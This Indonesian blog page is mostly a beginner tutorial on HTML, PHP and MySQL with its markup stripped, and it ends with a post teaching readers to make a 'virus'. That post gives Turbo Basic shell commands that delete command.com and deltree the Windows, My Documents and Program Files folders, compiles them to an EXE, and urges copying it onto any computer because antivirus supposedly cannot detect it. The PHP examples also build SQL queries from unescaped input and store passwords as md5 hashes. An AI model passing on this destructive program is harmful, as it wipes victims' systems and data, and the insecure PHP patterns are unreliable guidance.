Introduction
HTTP (Hypertext Transfer Protocol) merupakan protokol yang digunakan untuk mentransfer data antara web server ke web browser. Protokol inilah yang berfungsi untuk mentransfer dokumen-dokumen web yang ditulis dalam format HTML.
HTML adalah kependekan dari Hypertext Markup Language, sebuah dokumen dalam format ASCII yang memuat kalimat-kalimat (perintah) untuk diproses oleh browser. Disebut Markup Language karena berfungsi untuk 'memperindah' file teks biasa untuk ditampilkan pada program web browser. HTML sebenarnya merupakan perkembangan dari SGML (Standardised General Markup Language) yang merupakan dasar untuk membangun sebuah situs Web.
Walau untuk saat ini sudah terdapat banyak tool untuk membuat webpage secara WYSIWYG (What you see is What you get) seperti Microsoft FrontPage, Nestcape Editor atau bahkan Macromedia Dreamweaver, namun alangkah baiknya untuk menguasai dasar-dasar HTML terutama untuk membangun aplikasi dengan teknologi CGI (Common Gateway Interface). Hal ini penting mengingat HTML merupakan dasar dari pemrograman sebuah web.
Struktur HTML
Ciri khas sebuah dokumen HTML adalah adanya tag dan elemen. Apa yang dilakukan browser ketika membacakan dokumen HTML sebenarnya adalah menterjemahkan tag- tag yang ada di dalam dokumen tersebut untuk kemudian ditampilkan ke layar browser. Dengan kata lain, tag adalah sejumlah instruksi kepada browser untuk memberitahu tentang bagaimana caranya mengatur tata letak teks, image dan hal lainnya yang ingin ditampilkan.
Tag HTML biasanya berupa tag-tag yang berpasang-pasangan dan ditandai dengan simbol < dan >. Pasangan atau penutup perintah dari sebuah tag ditandai dengan ' / '. Misalnya pasangan dari tag adalah .
Setiap dokumen atau halaman HTML pada dasarnya memiliki struktur atau susunan file sebagai berikut :
------------------------------------
------------------------------------
Tag menandakan bahwa dokumen yang ditulis berformat HTML. Sedangkan Tag menunjukkan judul dokumen yang akan ditampilkan pada title bar web browser. Tag ini hanya boleh berada di dalam blok . Tag merupakan isi dari dokumen HTML, dimana teks, gambar atau apapun yang ingin ditampilkan pada dokumen ada pada bagian ini.
Perintah Dasar HTML
Ada sebegitu banyak perintah-perintah dalam HTML, namun yang akan dibahas kali ini adalah perintah umum yang biasa digunakan antara lain :
o : Heading dimana x adalah level heading 1 sampai 6. Heading merupakan sekumpulan kata yang menjadi judul atau sub-judul dalam dokumen HTML dengan berbagai ukuran yang berbeda. Contoh : Belajar HTML
o : Paragraph, membuat teks ditempatkan pada garis baru.
o : Break, membuat baris baru.
o
: Horizontal Rule, untuk membuat garis horizontal sepanjang jendela browser.
o : Bold, untuk menebalkan teks.
o : Italic, untuk menampilkan teks miring.
o : Underline, untuk membuat teks digarisbawahi.
o : Strong, untuk memberikan penekanan yang kuat terhadap sebuah teks.
o : Preformated, untuk menampilkan dokumen HTML tepat seperti yang dituliskan.
o : Size, menyatakan suatu ukuran. Contoh : .
o : Align, untuk membuat perataan, terdiri dari Center untuk rata tengah, Left untuk rata kiri dan RIGHT untuk rata kanan. Contoh : .
o
: Blockquote, untuk membuat teks tampil menjorok ke dalam.
o : A Hypertext Reference, digunakan untuk membuat sebuah link. Contoh : Situs IndoPHP atau E-Mail Us
Selain perintah di atas, terdapat juga perintah lain untuk memperindah tampilan, seperti perintah background, bgcolor, color, image maupun image map. Perintah background digunakan untuk membuat sebuah gambar menjadi latar belakang. Sedangkan perintah bgcolor dapat digunakan pada body maupun font yang berfungsi untuk merubah warna background. Contohnya :
, dimana tanda #000000 merupakan kode RGB untuk warna hitam
, dimana face digunakan untuk menampilkan jenis font, dan color untuk menampilkan warna pada teks.
dimana IMG SRC (Image Source) merupakan perintah untuk menampilkan gambar. Untuk mengatur posisi gambar, dapat digunakan perintah ALIGN, yang terdiri dari Top, Middle, Bottom, Left, Center dan Right.
Contoh : . Perintah ALT (Alternative) digunakan untuk menampilkan teks pengganti untuk gambar. Karena bisa saja gambar tersebut tidak dapat ditampilkan pada browser yang non-grafis.
Membuat List
Berikut adalah perintah yang digunakan untuk membuat sebuah List pada HTML :
o : Ordered List, sering disebut sebagai Numbered List, adalah sebuah daftar yang tiap itemnya disertai dengan nomor urut dari item yang bersangkutan dalam daftar tersebut.
o :Unordered List, membuat daftar dengan tanda bullet. Terdiri dari beberapa type seperti circle, square dan disc. Contoh .
Perlu diingat, baik OL maupun UL, menggunakan (List) sebagai daftar itemnya. Contoh :
----------------------------------------------------------
Membuat List
----------------------------------------------------------
Membuat Tabel
Perintah dasar untuk membuat sebuah Tabel pada HTML adalah dengan perintah Table tersusun atas (Table Row) dan (Table Data). Contoh :
-----------------------------------------------------------
Membuat Tabel
Wanted Person
Nomor
Nama
007
James Bond
-----------------------------------------------------------
Border menyatakan ukuran bingkai. Caption menunjukkan judul tabel. Sedangkan Width menyatakan lebar tabel. Width dapat juga diisi dengan menggunakan besaran persen. Misalnya Width=70%. Lawan dari Width adalah Height yang menyatakan tinggi. Tanda * diartikan sebagai perintah menggunakan sisa ruangan. Pada contoh di atas, sisa ruangan adalah 350. Pada perkembangannya, terdapat juga atribut Cellspacing untuk mengatur spasi/jarak diantara kolom dalam tabel dan antara kolom dengan batas luar ; Cellpadding untuk mengatur teks dengan batas dalam ; dan Align - VAlign untuk fungsi perataan.
Animasi dan Multimedia
Animasi pada HTML terbatas pada animasi untuk teks berjalan. Jika Anda menginginkan animasi yang lebih misalnya dalam bentuk gambar, dapat menggunakan program lain yang memang khusus dirancang untuk membuat animasi, seperti Macromedia Flash, Paint Shop Pro ataupun GIF Animator. Untuk Animasi teks berjalan pada HTML, syntaxnya adalah sebagai berikut :
Teks Marquee
Atribut behavior menunjukkan jenis marquee yang terdiri dari scroll, slide dan alternate. Scroll digunakan untuk menampilkan teks berjalan dimulai dari bagian paling akhir teks. Slide menjalankan teks sampai menyentuh ujung margin dan Alternate untuk menjalankan teks secara bolak-balik. Direction menunjukan arah teks berjalan, terdiri dari right dan left sebagai default. Loop menunjukkan jumlah perulangan marquee, diisi infinite berarti teks berjalan dengan perulangan tidak terbatas.
Dalam menangani video, HTML memanfaatkan fungsi DYNSRC (Dynamic Source) Perintahnya adalah sebagai berikut :
Ex :
Untuk animasi dengan objek suara, HTML memanfaatkan fungsi EMBED ataupun BGSOUND untuk menampilkan suara sebagai background page.
Berikut adalah syntax-nya :
Ex :
Atribut NoEmbed sengaja ditambahkan dengan maksud apabila browser tidak mendukung fungsi EMBED maka suara akan ditampilkan sebagai background saja. Anda juga dapat menambahkan atribut loopdelay pada fungsi BGSOUND dengan maksud menentukan waktu perhentian antara perulangan lagu. Misalnya, LOOPDELAY="5" (dalam satuan detik), dengan syarat lagu yang dimainkan bersifat infinite pada atribut Loop-nya.
Membuat Frame
Kelebihan utama dari sebuah frame adalah kemampuannya membagi-bagi jendela browser menjadi beberapa bagian, baik ke arah horizontal maupun ke arah vertikal. Meskipun frame dapat membagi jendela browser sebanyak yang Anda inginkan, namun pada prakteknya hanya digunakan 2 atau 3 buah frame saja dalam satu layar, mengingat penggunaan frame yang berlebihan hanya akan menimbulkan kebingungan.
Berikut adalah perintah (syntax) pembuatan frame pada HTML :
Frame sendiri terbagi menjadi frame untuk baris (row) dan frame untuk kolom (column). Berikut akan kita terapkan fungsi 3 buah frame yang terdiri atas 1 baris dan 2 kolom.
--------------------------------------------------------------------------------
Membuat Frame
This page uses frames, but your browser doesn't support them.
--------------------------------------------------------------------------------
Frameset Rows digunakan untuk membuat frame baris. Sebaliknya, untuk membuat frame kolom digunakan perintah Frameset Cols. Pada contoh di atas, frame terdiri dari 2 baris. Baris pertama diisi dengan halaman banner, sedangkan baris kedua dibagi lagi menjadi 2 kolom, yaitu kolom contents untuk link page dan kolom main untuk main page. Atribut scrolling digunakan agar browser dapat memberikan scrolling bar pada sebuah frame yang besarnya melebihi dari nilai ukuran frame yang telah ditetapkan. Atribut ini memiliki nilai "yes", "no" dan "auto". Noresize digunakan agar frame yang kita buat tidak dapat diubah ukurannya dengan cara menarik border frame tersebut pada browser. Sedangkan fungsi target digunakan agar dapat menampilkan target link pada frame yang lain dalam satu jendela browser, tanpa harus membuat link balik untuk kembali ke halaman utama. Dengan kata lain, halaman yang menjadi source link tidak akan hilang digantikan dengan halaman target link. Fungsi src dimaksudkan sebagai sumber alamat/lokasi file HTML yang akan ditayangkan. Atribut NoFrames sangat penting untuk ditambahkan, mengingat tidak semua browser dapat mendukung penggunaan fungsi frames. Ibaratnya Anda harus menambahkan halaman lain sebagai pesan apabila web page Anda tidak dapat tampil pada browser user.
Membuat Form
Form merupakan elemen terpenting dari sebuah web interaktif, dimana pengunjung dapat memberikan umpan balik (feed back) kepada situs kita. Untuk membuat form, Anda membutuhkan sebuah Web Server yang bertugas untuk melayani komunikasi dua arah antara server dengan browser. Untuk saat ini, sudah terdapat banyak program yang berfungsi sebagai webserver, antara lain Microsoft - Personal Web Server (PWS) untuk Windows 95/98/ME, Microsoft - Internet Information Server (IIS) untuk Windows 2K/NT/XP dan Apache untuk Linux dan Windows. Anda dapat menginstall salah satu program tersebut dan mencoba menjalankan form yang telah dibuat dengan bantuan beberapa script seperti JavaScript, Visual Basic Script (VBScript), CGI Script, ASP maupun PHP. Perintah dasar pembuatan sebuah form adalah :
Atribut Name pada form menunjukkan nama form. Sedangkan Method menunjukkan metode pengiriman informasi ke webserver yang terbagi menjadi GET dan POST. GET digunakan apabila Anda menginginkan informasi yang dikumpulkan oleh form sebagai sebuah string yang ditambahkan ke URL untuk page yang diminta. Sedangkan POST mengirimkan data secara terpisah pada suatu standard input, sehingga sangat cocok untuk diterapkan pada pengiriman data dalam jumlah banyak. Metode GET sendiri lebih banyak diterapkan pada input yang sifatnya hidden. Atribut Action digunakan untuk menentukan kemana informasi form akan diserahkan. Macam-macam kontrol pada form antara lain :
1. Text Box :
2. Password Boxes:
3. Radio Buttons :
Pilihan 1
Pilihan 2
4. Check Boxes :
Pilihan 1
Pilihan 2
5. Text Block / Text Area :
6. Menu Drop Down (Combo Box) :
Pilihan 1
Pilihan 2
7. Command Button :
Atribut Name menunjukkan nama input. Perlu diingat bahwa Name untuk input tipe Radio, CheckBox dan Drop Down harus sama untuk semua pilihan yang masuk pada satu kategori. Sedangkan Size menunjukkan panjang textbox yang akan ditampilkan, misalnya . Atribut Maxlength menunjukkan panjang maximum input, misalnya .
Atribut Checked pada Checkbox ataupun atribut Selected pada Drop Down menunjukkan item akan dipilih secara default. Pada contoh di atas, pilihan 1 menjadi default item yang dipilih.
Untuk Command Button, terdapat 3 jenis input, yaitu button, submit dan reset. Button memiliki fungsi command button biasa. Submit digunakan untuk mentransmisikan / mengirimkan informasi yang telah dimasukkan ke sebuah form. Sedangkan Reset digunakan untuk membatalkan seluruh pengisian. Tombol ini digunakan untuk membersihkan semua input pada form.
Berikut adalah contoh penggunaan sebuah form pada HTML :
-------------------------------------------------------------------------------------------------
Membuat Form
Form Sign As New User
Struktur Program PHP
Kode program PHP menyatu dengan tag-tag HTML dalam satu file. Kode PHP diawali dengan tag . File yang berisi tag HTML dan kode PHP ini diberi ekstensi .php dan disimpan pada lokasi dokumen HTML suatu webserver, misalnya folder htdocs khusus untuk webserver Apache. Pada saat file diakses, server akan menerjemahkan kode ini dan menghasilkan output dalam bentuk tag HTML yang akan dikirim ke browser client yang mengakses file tersebut.
Pengenalan Sintaks PHP
Coba ketikkan listing program di bawah ini. Anda dapat menggunakan Notepad atau PHP Editor seperti PHPEd dan dzPHP. Simpanlah file tersebut ke direktori dokumen HTML pada webserver Anda dengan ekstensi .php .
-------------------------------------------------------------------------------------
Pemrograman PHP
// Perintah echo untuk penulisan
echo " Selamat datang di dunia pemrograman PHP";
?>
-------------------------------------------------------------------------------------
Perhatikan, perintah PHP dibuka dengan tag . Perintah PHP dapat kita sisispkan di sembarang tempat, misalnya di atas tag , bergantung pada sintaks yang ingin dieksekusi terlebih dahulu. Setiap baris perintah PHP diakhiri dengan tanda titik koma (;). Selain itu tag penutup ?> dapat juga berfungsi sebagai pengganti (;). Jadi baris perintah di atas dapat juga dituliskan :
Selamat datang di dunia pemrograman PHP" ?> .
Simpanlah file tersebut dengan nama latihan1.php . Lalu jalankan browser Anda, ketikkan URL dengan tujuan http://localhost/latihan1.php misalnya.
Echo digunakan untuk perintah penulisan, sedangkan tanda // menunjukkan sebuah komentar program yang tidak akan dieksekusi sebagai perintah PHP. Ada tiga macam style penulisan komentar program yang dapat digunakan, antara lain :
1. C style
Komentar ini diawali dengan tag /* dan diakhiri dengan */ . Style ini digunakan untuk komentar yang lebih dari satu baris.
2. C++ style
Komentar ini diawali dengan tag // dan hanya berlaku untuk satu baris komentar. Baris berikutnya harus diawali dengan tag // lagi.
3. Boume Shell style
Sama dengan C++ style, namun diawali dengan tag # .
Variabel pada PHP
Variabel dinyatakan dengan tanda $ dan bersifat case sensitive, artinya penggunaan huruf kecil dan huruf besar dibedakan. Namun untuk penulisan fungsi, PHP tidak membedakan antara huruf kecil dan huruf besar, sehingga sintaks ECHO sama saja dengan sintaks echo. Namun untuk variabel, penulisan sintaks $A tidak sama dengan sintaks $a. Perlu diingat bahwa deklarasi sebuah variabel selalu diikuti dengan pemberian (assignment) nilai dari variabel tersebut. Coba ketikkan listing program berikut :
----------------------------------------------------------------------
Variabel pada PHP
$no="007";
$nama="James Bond";
echo "No User : $no";
echo "Selamat datang, $nama di dunia PHP";
?>
----------------------------------------------------------------------
Pada contoh di atas, semua variabel bertipe string karena dimulai dengan tanda ". Untuk variabel yang bersifat numeric, Anda tidak perlu menambahkan tanda ".
Contohnya : $nilai = 100; untuk tipe data integer dan $suhu = 34.5; untuk tipe data floating point. Sedangkan untuk konstanta, digunakan fungsi define. Contoh :
----------------------------------------------------------------------------
define ("pi",3.14);
$r_lingkaran = 7;
$l_lingkaran = pi * $r_lingkaran * $r_lingkaran;
echo (" Jari-jari Lingkaran : $r_lingkaran cm");
echo (" Maka Luas Lingkaran : $l_lingkaran cm persegi");
?>
----------------------------------------------------------------------------
Selain variabel umum tersebut, terdapat juga variabel scope yang memanfaatkan fungsi function dan include. Dan bagi Anda yang menggunakan Apache sebagai webserver, Anda juga dapat menggunakan variabel Apache.
Berikutnya, kita akan mencoba penggunaan variabel dari form HTML. Ketikkan listing program berikut dan simpanlah sebagai form_php.php .
--------------------------------------------------------------------------------
PHP - Variabel Form HTML
if ($submit) {
echo(" Name : $nama");
echo(" Gender : $sex");
echo(" Address : $address"); }
?>
--------------------------------------------------------------------------------
Klik Here untuk mendownload contoh script PHP yang memanfaatkan fungsi variabel dari form HTML.
Array (List)
Array adalah sebuah data yang mengandung satu atau lebih data, dan dapat diindeks berdasarkan numeric maupun string (associative array). Data yang dikandung oleh sebuah data array dapat dari tipe data lainnya bahkan dapat juga bertipe array (multiple array). Berbeda dengan bahasa C dimana semua elemen array harus dari tipe data yang sama, PHP memperbolehkan elemen array terdiri atas data dengan tipe yang berbeda-beda. Coba ketikkan listing program berikut dan jalankanlah.
----------------------------------------------------------------------
Array
$siswa[no]="008";
$siswa[nama]="Saras";
$siswa[nilai]=80;
for ($i=0;$i<3;$i++) {
echo (" $siswa[$i]"); }
?>
----------------------------------------------------------------------
Operator
Operator digunakan untuk melakukan sebuah operasi pada satu atau lebih nilai. Nilai-nilai ini dikenal dengan sebutan operan. Sama dengan C, Operator pada PHP terbagi menjadi :
1. Operator Aritmatika
Misalnya $a+$b (untuk penjumlahan), $a-$b (untuk pengurangan), $a*$b (untuk perkalian), $a/$b (untuk pembagian) dan $a%$b (untuk fungsi modulus yaitu sisa hasil dari $a dibagi $b)
2. Operator Assignment
Assignment merupakan operasi pemberian/pendefinisian nilai. Misalnya $a+=1, ekivalen dengan $a=$a+1. Atau $a-=1, ekivalen dengan $a=$a-1 dan seterusnya.
3. Operator Bitwise
Digunakan untuk operasi bilangan binary. Misalnya $a&$b untuk fungsi AND, $a|$b untuk fungsi OR, $a^$b untuk fungsi XOR dan ~$a untuk fungsi NOT. Misalnya $a=11, $b=13, maka $a&$b=9. Karena 11 dalam biner bernilai 1011 dan 13 dalam biner bernilai 1101. Jika dilakukan fungsi AND maka hasilnya adalah 1001, yaitu 9.
4. Operator Perbandingan
Misalnya $a==$b (untuk fungsi sama dengan), $a!=$b (untuk fungsi tidak sama dengan), $a<$b, $a<=$b, $a>$b dan $a>=$b.
5. Operator Logika
Operator logika terdiri dari operasi AND, OR, XOR dan NOT. Contohnya $a AND $b, $a OR $b dan !$a.
6. Operator Increment/Decrement
Terdiri dari Pre-Increment (contoh : ++$a), Post-Increment (contoh : $a++), Pre-Decrement (contoh : --$a) dan Post-Decrement (contoh : $a--).
Statement dan Kontrol
1. Statement Kondisional
Statement kondisional mengatur aliran program berdasarkan pada kondisi tertentu yang telah ditetapkan. Khusus untuk masalah satu atau dua percabangan dapat digunakan statement If-Else, sedangkan untuk multiple alternatif dapat juga menggunakan Switch. Format penulisan sintaks If-Else / Switch adalah sebagai berikut :
//Statement If-Else
if (persyaratan1) {
operasi_1 ; }
elseif (persyaratan2) {
operasi_2 ; }
elseif (persyaratan3) {
operasi_3 ; }
else {
operasi_n ; }
?> //Statement Switch
switch(sesuatu) {
case hal_1 :
operasi_1;
break;
case hal_2 :
operasi_2;
break;
}
?>
2. Kontrol Pengulangan (Loop)
Loop adalah sebuah proses eksekusi operasi program secara berulang-ulang sampai ditemukan kondisi untuk mengakhiri eksekusi tersebut. PHP mempunyai dua macam perintah loop, yaitu while loop dan for loop.
##Statement While-Loop##
$i=0;
while ($i<=2) {
echo(" Hallo");
$i++;
}
?> /*Statement For Loop
Sama dengan While-Loop
Akan mencetak kata hallo
sebanyak 3 kali */
for($i=0;$i<=2;$i++) {
echo(" Hallo"); }
?>
Klik Here untuk mendownload script PHP yang menggunakan fungsi If-Else dan Switch.
Fungsi (Function)
Fungsi adalah sekumpulan perintah operasi program yang dapat menerima argumen input dan dapat memberikan hasil output yang dapat berupa sebuah nilai ataupun hasil operasi. Perlu diingat, pemberian nama fungsi tidak boleh sama dengan nama build-in function yang telah dipunyai oleh PHP. Coba ketikkan listing program berikut lalu jalankanlah :
----------------------------------------------------------------------
$pi=3.14;
$r=7;
$L=$pi*kuadrat($r);
echo (" Jari-jari = $r");
echo (" Luas = $L");
function kuadrat($x) {
return $x*$x ; }
?>
----------------------------------------------------------------------
Perhatikan, untuk menghitung nilai L, kita menggunakan fungsi Function kuadrat. $x merupakan parameter, dimana pada contoh di atas, $x bernilai $r. Perintah Return digunakan sebagai perintah output pada Function.
Manipulasi String
Ada banyak perintah untuk melakukan fungsi manipulasi string. Namun untuk bahasan kali ini, kita cukup membahas perintah manipulasi string yang sifatnya umum dan sering dipakai. Antara lain fungsi strlen untuk menghitung panjang string dan fungsi substr untuk mengambil potongan dari sebuah string yang panjangnya ditentukan oleh parameter start dan length. Parameter start menunjukkan pengambilan karakter dimulai dari karakter ke berapa. Karakter pertama dari string adalah karakter ke-0. Jika parameter start diberi tanda minus (-) berarti awal pengambilan ditentukan dari akhir string sebanyak nilai yang ditunjukkan parameter start.
Sintaksnya adalah sebagai berikut :
substr((string) string, (int) start, (int) length)
Coba ketikkan listing program berikut dan jalankanlah :
----------------------------------------------------------------------
$kata="program";
$pjg_kata=strlen($kata);
echo (" Kata : $kata");
echo (" Panjang Kata : $pjg_kata");
//fungsi substr
$a=substr($kata,3);
$b=substr($kata,3,2);
$c=substr($kata,-7,3);
echo (" Substr 1 : $a");
echo (" Substr 2 : $b");
echo (" Substr 3 : $c");
?>
----------------------------------------------------------------------
Validasi
Validasi biasanya digunakan untuk memeriksa apakah input yang dimasukkan user valid. Validasi sendiri bisa berupa validasi teks kosong ataupun validasi input ; misalnya input No Telepon harus bersifat numeric, nama seseorang tidak ada yang mengandung angka, dan lain-lain. Coba ketikkan listing program berikut dan jalankanlah :
----------------------------------------------------------------------------------------------
Validasi dengan PHP
echo ("");
if ($cnama) {
if (empty($nama)) {
echo (" NAMA harap diisi "); }
else if (!is_numeric($nama)) {
echo ("
INPUT NAMA Benar"); }
else {
echo ("
INPUT NAMA Salah !!!"); }
}
if ($cnilai) {
if (empty($nilai)) {
echo ("
NILAI harap diisi "); }
else if (is_numeric($nilai)) {
echo ("
INPUT NILAI Benar"); }
else {
echo ("
INPUT NILAI Salah !!!"); }
}
if ($cemail) {
if (empty($email)) {
echo ("
E-MAIL harap diisi "); }
else if(!ereg("^.+@.+\\..+$",$email)) {
echo ("
INPUT E-MAIL ADDRESS Salah !!!"); }
else {
echo ("
INPUT E-MAIL ADDRESS Betul "); }
}
?>
----------------------------------------------------------------------------------------------
Enkripsi dengan Fungsi md5
Enkripsi (encrypt) adalah metode yang digunakan untuk menyamarkan/menyembunyikan teks biasa (plain text/clear text). Plain text sendiri merupakan data yang bisa dibaca dan dimengerti oleh siapapun tanpa melalui proses khusus. Enkripsi akan menghasilkan informasi yang tidak bisa dibaca atau dimengerti dengan jelas karena informasi yang ada merupakan teks yang sudah dikodekan, yang sering disebut sebagai teks terenkripsi (chiper text). Kebalikan dari enkripsi, deskripsi (decrypt) adalah proses untuk mengubah teks terenkripsi menjadi teks biasa.
Pada PHP, fungsi enkripsi dapat menggunakan perintah md5. String yang dihasilkan oleh fungsi md5 tidak dapat di-decrypt mengingat sifatnya yang one way hash. Fungsi ini biasanya diterapkan pada program login untuk mendapatkan password yang unik sehingga tidak mudah ditebak. Contoh :
Fungsi ini akan menghasilkan output : ad9fd0705a3e06b406f34db6e5444872
Copylah hasil output tersebut untuk digunakan pada listing program berikut :
------------------------------------------------------------------------------------
Login User
// contoh penggunaan fungsi md5 pada proses login
if ($submit) {
$login=md5("$user_name:$password");
if ($login == "ad9fd0705a3e06b406f34db6e5444872 ") {
echo ("Selamat Datang, $user_name");}
else {
echo ("
Maaf, Anda Tidak Diundang Tuh !"); }
}
else {
echo ("
");
}
?>
------------------------------------------------------------------------------------
Simpanlah file tersebut dengan nama md5login.php dan jalankanlah. Isilah text User Name : melanie dan Password : wood , sebaliknya coba isi User Name : wood dan Password : melanie , apakah ditolak?
D-Base Introduction
Telah dijelaskan sebelumnya bahwa PHP tidak hanya mendukung program database seperti MySQL saja, tetapi juga mendukung program database lainnya seperti Microsoft SQL Server, Oracle, Informix, mSQL, postgreSQL dan lain-lain. Namun dari sekian banyak program database tersebut, MySQL merupakan program database yang paling banyak digunakan pada pemrograman PHP. Hal ini mengingat MySQL memiliki banyak kesamaan dengan PHP. Selain gratis dan dibangun dari platform Linux, MySQL untuk saat ini juga sudah terintegrasi dengan PHP.
Untuk dapat membuat sebuah web database dengan PHP, Anda diharuskan untuk sudah memiliki dasar-dasar Structured Query Language (SQL), sebuah sub-bahasa standard yang digunakan untuk melakukan operasi permintaan data (query). Untuk dapat memulai pemrograman database pada PHP ini, pastikan koneksi ke database MySQL Anda berjalan dengan baik. Anda dapat menjalankan PHPMyAdmin untuk memeriksanya.
Koneksi ke Database
Untuk dapat melakukan operasi pada database, sebelumnya dilakukan koneksi terlebih dahulu ke program database MySQL. Sintaksnya adalah sebagai berikut :
mysql_connect("nama_host","nama_user","password")
dimana parameter nama_host menunjukkan nama host untuk website kita, misalnya localhost. Parameter nama_user dan password masing-masing menunjukkan nama user dan password yang digunakan untuk mengakses database MySQL. Apabila MySQL dilogin sebagai root maka perintah untuk koneksi cukup ditulis dengan mysql_connect() . Perintah mysql_close() digunakan untuk menutup koneksi ke database. Sedangkan perintah mysql_pconnect() fungsinya hampir sama dengan mysql_connect(), hanya saja jika menggunakan fungsi ini maka koneksi tidak akan terputus walaupun program telah selesai dieksekusi.
Contoh :
---------------------------------------------------------------
$koneksi=mysql_connect("localhost","leon","ok");
if ($koneksi) {
echo (" Koneksi Berhasil :) "); }
else {
echo ("
Koneksi GAGAL :( "); }
?>
---------------------------------------------------------------
Database dan Tabel
Untuk membuat sebuah database melalui PHP digunakan fungsi mysql_create_db("nama_dbase") Sedangkan untuk membuat tabel digunakan fungsi SQL dengan perintah CREATE TABLE. Contoh :
------------------------------------------------------------------------------------
mysql_connect();
$buatdb=mysql_create_db("db_karyawan");
if ($buatdb) {
echo ("
Database db_karyawan Berhasil Dibuat :) "); }
else {
echo ("
Database db_karyawan Gagal Dibuat :( "); }
$buattb=mysql_db_query("db_karyawan","create table tb_karyawan
(nip char(10) primary key,nama varchar(30),alamat varchar(80),
gaji_pokok numeric(10,2))");
if ($buattb) {
echo ("
Tabel tb_karyawan Berhasil Dibuat :) "); }
else {
echo ("
Tabel tb_karyawan Gagal Dibuat :( "); }
?>
------------------------------------------------------------------------------------
Pada contoh di atas, diketahui bahwa database yang ingin dibangun adalah database db_karyawan yang didalamnya terdapat tabel tb_karyawan. Tabel tb_karyawan mengandung sejumlah field seperti nip yang dijadikan primary key, nama, alamat dan gaji pokok. Char, Varchar, Numeric menunjukkan tipe data sebuah field.
Perbedaan mendasar antara Char dengan Varchar adalah panjang karakter (length). Char cocok digunakan apabila panjang karakter yang akan diinput bersifat tetap. Sesuai sifatnya inilah, Char memakan ukuran memori yang tetap. Misalnya apabila field nama menggunakan tipe data Char maka panjang karakter untuk masing-masing input sifatnya sama walaupun panjang karakter untuk nama yang diinput berbeda satu sama lainnya. Misalnya, nama Annie, panjang karakternya adalah 5 digit. Nama Jeane Laura memiliki panjang karakter sebanyak 11 digit (dihitung termasuk spasi). Dengan menggunakan tipe Varchar, memori yang digunakan akan lebih hemat, mengingat ukuran memori yang digunakan dihitung berdasarkan jumlah (panjang karakter + 1) bytes. Ditambah 1 byte untuk menunjukkan data jumlah karakter yang dipakai.
Operasi Database
Operasi pada database yang paling umum dilakukan adalah operasi menampilkan data (retrieve), mencari data (search), menambah data (insert), mengubah data (edit/update) dan menghapus data (delete). Baik perintah insert, edit, delete, search maupun retrive, kesemuanya menggunakan perintah SQL yang diikuti dengan perintah mysql_query(). Contoh Syntax :
----------------------------------------------------------------------------------------
Insert : mysql_query("insert into tb_karyawan(nip,nama,alamat,gaji)
values ("2003-0177","Versuda Ryuzaki","230 North Street",5000)");
Edit : mysql_query("update tb_karyawan set nama='$nama',
alamat='$alamat', gaji_pokok= $gaji_pokok where nip='$nip' ");
Delete : mysql_query("delete from tb_karyawan where nip='$nip' ");
Search : mysql_query("select nip,nama,alamat,gaji_pokok from
tb_karyawan where nama='%$nama%' order by nip");
----------------------------------------------------------------------------------------
Perlu Anda ketahui bahwa operasi insert, edit maupun delete biasanya memiliki tambahan form tersendiri sebagai sebuah interface. Misalnya insert, form yang dijalankan umumnya terdiri dari form_insert sebagai form tempat dimana user mengisi semua data pada textbox-textbox yang telah disediakan dan form_insert_act yang merupakan kelanjutan aksi dari pengisian yang dilakukan user tersebut. Begitupun dengan edit dan delete, biasanya disediakan form interface yang menunjukkan data mana yang ingin diedit atau didelete. Silahkan mendownload contoh pemrograman operasi database kami untuk mempelajari bahasan ini lebih lanjut.
Untuk menampilkan data (retrieve) digunakan perintah mysql_fetch_row() atau mysql_fetch_array() . Contoh :
----------------------------------------------------------------------------------
Display Data
Data Karyawan
mysql_connect();
mysql_select_db("db_karyawan");
$tampil=mysql_query("select * from tb_karyawan order by nip");
while ($row=mysql_fetch_row($tampil)) {
echo(" $row[0] $row[1] $row[2]
$row[4] "); }
?>
[+/-] Selengkapnya...
[+/-] Ringkasan...
Cara membuat program perusak (Seperti Virus) - Download Turbo Basic v1.0 Membuat program perusak (seperti virus) merupakan keinginan sebagian para pemula komputer, tapi bagaimana mereka bisa membuat kalau mereka tidak tahu bahasa pemograman sama sekali, anda jangan resah untuk masalah ini karena saat ini penulis akan mengajarkan anda cara membuat program perusak (virus) yang sangat sederhana sekali tapi sangat mematikan bahkan bisa dikatakan lebih mengerikan dari program perusak manapun. Pertama kali skill yang anda butuhkan adalah dasar DOS, tanpa ini anda akan sulit untuk berkreasi dalam membuat program ini tapi jika anda tidak tahu dasar perintah DOS maka anda cukup copy paste saja, bahasa pemograman yang akan kita pakai adalah Turbo Basic v1.0, anda dapat mendownloadnya di Google. jika anda buta pemograman Turbo Basic maka anda masuk ke Edit lalu anda tulis Source Code program perusak. shell "Perintah DOS" dengan diawali kata shell maka anda dapat menjalankan perintah DOS pada program, misal anda membuat : shell "c:" shell "cd\" shell "del command.com" Diatas adalah contoh menghapus DOS pada DOS Classic, Windows 95/98 sehingga pengguna komputer tidak dapat booting, kita contohkan yang lain. shell "c:" shell "cd\" shell "deltree /y mydocu~1" shell "deltree /y windows" shell "deltree /y progra~1" Diatas adalah contoh menghapus Directory My Document, WIndows dan Program FIles, sangat fatal bukan ? Setelah anda selesai membuat programnya maka anda save dahulu, caranya pilih File lalu Save lalu beri nama filenya misal VIRUS.BAS, setelah itu baru kita mengcompile source code tadi, caranya pilih Options lalu pilih Compile to EXE file, setelah itu masuk ke pilihan compile lalu anda enter, maka source code tersebut akan menjadi file EXE. Jika file EXE tersebut dijalankan maka komputer anda akan menjalankan perintah DOS pada program, dari tutorial diatas, anda dapat berkreasi sendiri bagaimana virus buatan anda dapat berjalan sesuai dengan anda inginkan, perlu diketahui bahwa TIDAK ADA SATU ANTIVIRUS DIDUNIA INI DAPAT MENDETEKSI PROGRAM INI ADALAH VIRUS jadi anda bebas mengcopykan program ini ke komputer manapun yang anda suka kecuali komputer berbasis non DOS atau Windows, hehe Tujuan dari tutorial ini adalah agar kita lebih waspada terhadap berbagai file dengan ekstensi *.exe meskipun file *.exe tersebut 100% dinyatakan bebas virus dari berbagai jenis Antivirus. Penulis : Yogya Family Code *Segala kesalahan error / kerusakan pada komputer dan semacamnya adalah tanggung jawab anda ! *Semua yang anda pelajari dan anda lakukan adalah sepenuhnya tanggung jawab anda tanpa kecuali (termasuk member)
[+/-] Selengkapnya...
[+/-] Ringkasan...
